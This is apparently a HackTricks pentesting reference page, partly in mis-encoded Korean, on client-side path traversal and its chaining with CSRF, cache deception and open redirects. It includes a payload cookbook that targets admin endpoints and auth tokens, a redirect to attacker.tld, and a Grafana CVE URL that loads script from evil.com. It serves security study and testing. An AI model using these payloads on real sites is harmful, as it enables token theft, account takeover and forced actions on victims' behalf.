Client Side Path Traversal

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

A client side path traversal occurs when you can manipulate the path of a URL that is going to be sent to a user to visit in a legit way or that a user is somehow going to be forced to visit for example via JS or CSS. CSPT is also known as On-Site Request Forgery (OSRF) because it lets you coerce the victimโ€™s browser into hitting arbitrary paths on the same origin with their cookies, JWTs, or mTLS certificates.

Typical sources (data you control):

  • ๊ฒฝ๋กœ ๋งค๊ฐœ๋ณ€์ˆ˜(route parameters)๊ฐ€ fetch() ๋˜๋Š” XHR ๊ฒฝ๋กœ์— ์—ฐ๊ฒฐ๋˜๋Š” ๊ฒฝ์šฐ (React Router, Next.js dynamic routes, Vue router params, Angular ActivatedRoute).
  • background jobs, service workers, ๋˜๋Š” WebSocket URL ๋‚ด๋ถ€ ๊ฒฝ๋กœ์— ๋ณด๊ฐ„(interpolated)๋˜๋Š” ์ €์žฅ๋œ ๊ฐ’(profile slugs, document IDs).
  • ์š”์ฒญ์ด ์ „์†ก๋˜๊ธฐ ์ „์— ์‚ฌ์šฉ์ž ์ œ์–ด ๊ฐ€๋Šฅํ•œ ํ”„๋ž˜๊ทธ๋จผํŠธ๋‚˜ ํŒŒ์ผ ํ™•์žฅ์ž๋ฅผ API ์—”๋“œํฌ์ธํŠธ์— ๋ง๋ถ™์ด๋Š” UI ์š”์†Œ(download/export buttons, image galleries).

Typical sinks (where the traversal lands):

  • ํ”„๋ก ํŠธ์—”๋“œ API ๋ž˜ํผ๊ฐ€ /api/ ๋˜๋Š” /proxy/๋ฅผ ์•ž์— ๋ถ™์ด๊ณ  auth headers๋ฅผ ์ž๋™์œผ๋กœ ์žฌ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ.
  • history.pushState / router.navigate ํ—ฌํผ๊ฐ€ hydration ์ค‘์— ๋‚˜์ค‘์— URL์„ ์žฌ๊ตฌ์„ฑํ•˜๋Š” ๊ฒฝ์šฐ.
  • <link>/<style>/@import ๋ฌธ์ด CMS ์ฝ˜ํ…์ธ ๋‚˜ feature-flag payloads์— ์˜ํ•ด ์ƒ์„ฑ๋˜๋Š” ๊ฒฝ์šฐ.

์ผ๋ฐ˜์ ์ธ ์˜ํ–ฅ ๋ฐ ์—ฐ์‡„

  • CSPT โžœ CSRF/OSRF: ์˜๋„ํ•œ ๋ฆฌ์†Œ์Šค ๊ฒฝ๋กœ๋ฅผ ๋ฒ—์–ด๋‚˜ ์ธ์ฆ๋œ POST/PUT/DELETE ํ˜ธ์ถœ์„ ํƒˆ์ทจํ•œ ๋’ค ๋ฏผ๊ฐํ•œ ์—”๋“œํฌ์ธํŠธ(๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ •, ๊ฒฐ์ œ ์Šน์ธ, ์ ‘๊ทผ ๊ถŒํ•œ ํšŒ์ˆ˜ ๋“ฑ)๋กœ ์žฌ์ง„์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•ด CSRF ์ฒดํฌ๋ฆฌ์ŠคํŠธ์™€ ๊ฒฐํ•ฉํ•˜์„ธ์š”.
  • CSPT โžœ cache deception / poisoning: ๊ณต์šฉ CDN ํ‚ค๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” JSON์„ ์ œ๊ณตํ•˜๊ณ  ์ธ์ฆ ์—†์ด ์žฌ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ Cache Poisoning and Cache Deception์„ ์ฐธ์กฐํ•˜์„ธ์š”.
  • CSPT โžœ Open Redirect โžœ XSS/SSRF: ํƒ์ƒ‰์ด open redirect ์—”๋“œํฌ์ธํŠธ์— ๋„๋‹ฌํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์ธํ”„๋ผ๋กœ ์žฌ์ „์†ก๋˜์–ด ์•…์„ฑ JS๋‚˜ SSRF ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Open Redirect ์•…์šฉ๊ณผ ์—ฐ๊ฒฐํ•ด ์ฒด์ธ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฐœ๊ฒฌ ์‚ฌ๋ก€

  • ์ด this writeup์—์„œ๋Š” ์ดˆ๋Œ€ URL์„ ๋ณ€๊ฒฝํ•ด ๊ฒฐ๊ตญ ์นด๋“œ๋ฅผ ์ทจ์†Œํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
  • ์ด this writeup์—์„œ๋Š” client side path traversal via CSS(CSS ๋ฆฌ์†Œ์Šค๊ฐ€ ๋กœ๋“œ๋˜๋Š” ๊ฒฝ๋กœ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Œ)๋ฅผ open redirect์™€ ๊ฒฐํ•ฉํ•ด CSS ๋ฆฌ์†Œ์Šค๋ฅผ attacker controlled domain์—์„œ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
  • ์ด this writeup์—์„œ๋Š” CSPT๋ฅผ CSRF ๊ณต๊ฒฉ ์ˆ˜ํ–‰์— ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ชจ๋“  ๋ฐ์ดํ„ฐ(URL ๊ฒฝ๋กœ, ํŒŒ๋ผ๋ฏธํ„ฐ, ํ”„๋ž˜๊ทธ๋จผํŠธ, DB์— ์ฃผ์ž…๋œ ๋ฐ์ดํ„ฐ ๋“ฑ)์™€ ํ•ด๋‹น ๋ฐ์ดํ„ฐ๊ฐ€ ๋„๋‹ฌํ•˜๋Š” ์‹ฑํฌ(์š”์ฒญ)๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค.
  • ๋ชจ๋‹ˆํ„ฐ๋ง์„ ์œ„ํ•ด this browser extension๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  • ๊ธฐ์ˆ ์„ ์‹œํ—˜ํ•ด๋ณด๋ ค๋ฉด CSPT playground๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  • ํ”Œ๋ ˆ์ด๊ทธ๋ผ์šด๋“œ์—์„œ ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ this tutorial๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

CSPT-assisted web cache poisoning/deception

CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls:

  • A frontend concatenates user-controlled input into an API path and attaches authentication headers in fetch/XHR.
  • By injecting dot-segments (../) you can retarget the authenticated request to a different endpoint on the same origin.
  • If that endpoint (or a path variant with a static-looking suffix like .css) is cached by the CDN without varying on auth headers, the victimโ€™s authenticated response can be stored under a public cache key and retrieved by anyone.

Quick recipe:

  1. Find SPA code building API URLs from path parameters while sending auth headers.
  2. Identify sensitive endpoints and test static suffixes (.css, .js, .jpg, .json) to see if the CDN flips to Cache-Control: public/max-age and X-Cache: Hit while returning JSON.
  3. Lure the victim to a URL that injects traversal into the SPA parameter so the authenticated fetch hits the cacheable path variant (for example, ../../../v1/token.css).
  4. Read back the same URL anonymously to obtain the cached secret (token โ†’ ATO).

See details and mitigations in the Cache Deception page: Cache Poisoning and Cache Deception.

ํ—ŒํŒ… ์›Œํฌํ”Œ๋กœ์šฐ ๋ฐ ๋„๊ตฌ

Passive discovery with intercepting proxies

  • Correlate sources/sinks automatically: the CSPT Burp extension parses your proxy history, clusters parameters that are later reflected inside other requestsโ€™ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the Source Scope to client parameters (e.g., id, slug) and the Sink Methods to GET, POST, DELETE so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk.
  • Look for double-URL-decoding: while browsing with Burp or ZAP, watch for /api/%252e%252e/ patterns that get normalized by the frontend before hitting the networkโ€”these usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner.

Instrumenting SPA sinks manually

DevTools์— ์งง์€ ์Šค๋‹ˆํŽซ์„ ๋„ฃ์œผ๋ฉด UI์™€ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ๋™์•ˆ ์ˆจ๊ฒจ์ง„ ํƒ์ƒ‰์„ ๋“œ๋Ÿฌ๋‚ด๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค:

(() => {
const origFetch = window.fetch;
window.fetch = async function (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET");
debugger;
}
return origFetch.apply(this, arguments);
};
})();
  • Add similar wrappers around XMLHttpRequest.prototype.open, history.pushState, and framework-specific routers (e.g., next/router). Watching for init.credentials === "include" quickly narrows down requests that carry session cookies.
  • If the app stores routing hints in IndexedDB/localStorage, edit those entries with traversal payloads and reloadโ€”the mutated state is often reinjected into requests pre-hydration.

์‹ค์Šต ๋ฐ ํŽ˜์ด๋กœ๋“œ ๋ฆฌํ—ˆ์„ค

  • CSPT Playground๋ฅผ docker compose up๋กœ ๋„์šฐ๊ณ  ๋Œ€์ƒ์— ์†๋Œ€์ง€ ์•Š๊ณ ๋„ traversal โžœ CSRF โžœ stored XSS ํ๋ฆ„์„ ์—ฐ๊ฒฐํ•ด ์—ฐ์Šตํ•˜์„ธ์š”. ๋Œ€์ƒ์˜ router ๊ตฌ์กฐ๋ฅผ ๋กœ์ปฌ์—์„œ ์žฌํ˜„ํ•˜๋ฉด ๊ณต์œ  ๊ฐ€๋Šฅํ•œ PoC๋ฅผ ๋งŒ๋“ค๊ธฐ ์‰ฌ์›Œ์ง‘๋‹ˆ๋‹ค.
  • ๋ฆฌ์ปจ ์ค‘์— ๊ด€์ฐฐํ•œ ์„ฑ๊ณต์ ์ธ dot-segment ๋ณ€ํ˜•๋“ค(..;/, %2e%2e/, %2e./%2e/, UTF-8 homoglyphs)๊ณผ ์ ‘๋ฏธ์‚ฌ ํŠธ๋ฆญ๋“ค(.css, .json, ; matrix params)์˜ ์Šคํฌ๋ž˜์น˜ํŒจ๋“œ๋ฅผ ์œ ์ง€ํ•ด ์ƒˆ๋กœ์šด sink๊ฐ€ ๋‚˜ํƒ€๋‚ฌ์„ ๋•Œ ๋น ๋ฅด๊ฒŒ ์žฌ์ƒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์„ธ์š”.

์ตœ๊ทผ ์‚ฌ๋ก€ ์—ฐ๊ตฌ (2025)

  • Grafana OSS CVE-2025-4123/6023 (v11.5.0+) โ€“ /public/plugins/ ๋‚ด๋ถ€์˜ traversal gadget์ด ๊ณต๊ฒฉ์ž๋กœ ํ•˜์—ฌ๊ธˆ ../../๋ฅผ plugin asset loader๋กœ ๋ฐ€์–ด๋„ฃ๊ฒŒ ํ—ˆ์šฉํ–ˆ๊ณ , ์ด๋ฅผ Grafana์˜ open redirect์™€ ์—ฐ๊ฒฐํ•ด ํ”ผํ•ด์ž๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” plugin ๋ฒˆ๋“ค์„ ๋กœ๋“œํ•˜๋„๋ก ๊ฐ•์ œํ–ˆ์Šต๋‹ˆ๋‹ค. anonymous dashboards๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js ๊ฐ™์€ ์กฐ์ž‘๋œ URL๋กœ ์ธํ•ด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์›๊ฒฉ JavaScript๋ฅผ ์‹คํ–‰ํ–ˆ๊ณ ; Image Renderer plugin์ด ์„ค์น˜๋˜์–ด ์žˆ์œผ๋ฉด ๋™์ผํ•œ ๊ธฐ๋ฒ•์„ ๋ Œ๋”๋ง ์š”์ฒญ์„ ๋‚ด๋ถ€ ํ˜ธ์ŠคํŠธ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•ด SSRF๋กœ ์ „ํ™˜ํ•  ์ˆ˜๋„ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋‹จ์ผ traversal์ด ์ข…์ข… XSS์™€ SSRF ์–‘์ชฝ ๋ฒกํ„ฐ๋ฅผ ๋ชจ๋‘ ์ œ๊ณตํ•˜๋ฏ€๋กœ plugin asset ๊ฒฝ๋กœ, anonymous dashboards, renderer endpoints๋ฅผ ํ•จ๊ป˜ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

Payload cookbook

๋ชฉํ‘œํŽ˜์ด๋กœ๋“œ ํŒจํ„ด๋น„๊ณ 
Hit sibling API under same origin?doc=../../v1/admin/usersWorks when routers simply concatenate /${doc}. Add .json if CDN only caches static-looking assets.
Force SPA to follow open redirect?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x๋Œ€์ƒ ์ฝ”๋“œ๋ฒ ์ด์Šค์— ๋‚˜์—ด๋œ ์‹ ๋ขฐ๋˜๋Š” redirectors์™€ ๊ฒฐํ•ฉํ•˜์„ธ์š”. Chain with Open Redirect.
Abuse extension-based CDN cache?file=../../v1/token.cssCDN may treat .css as static and cache secrets returned as JSON.
CSRF via verb change?action=../../payments/approve/.json&_method=POSTSome routers accept _method overrides; pair with traversal to re-target destructive endpoints.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ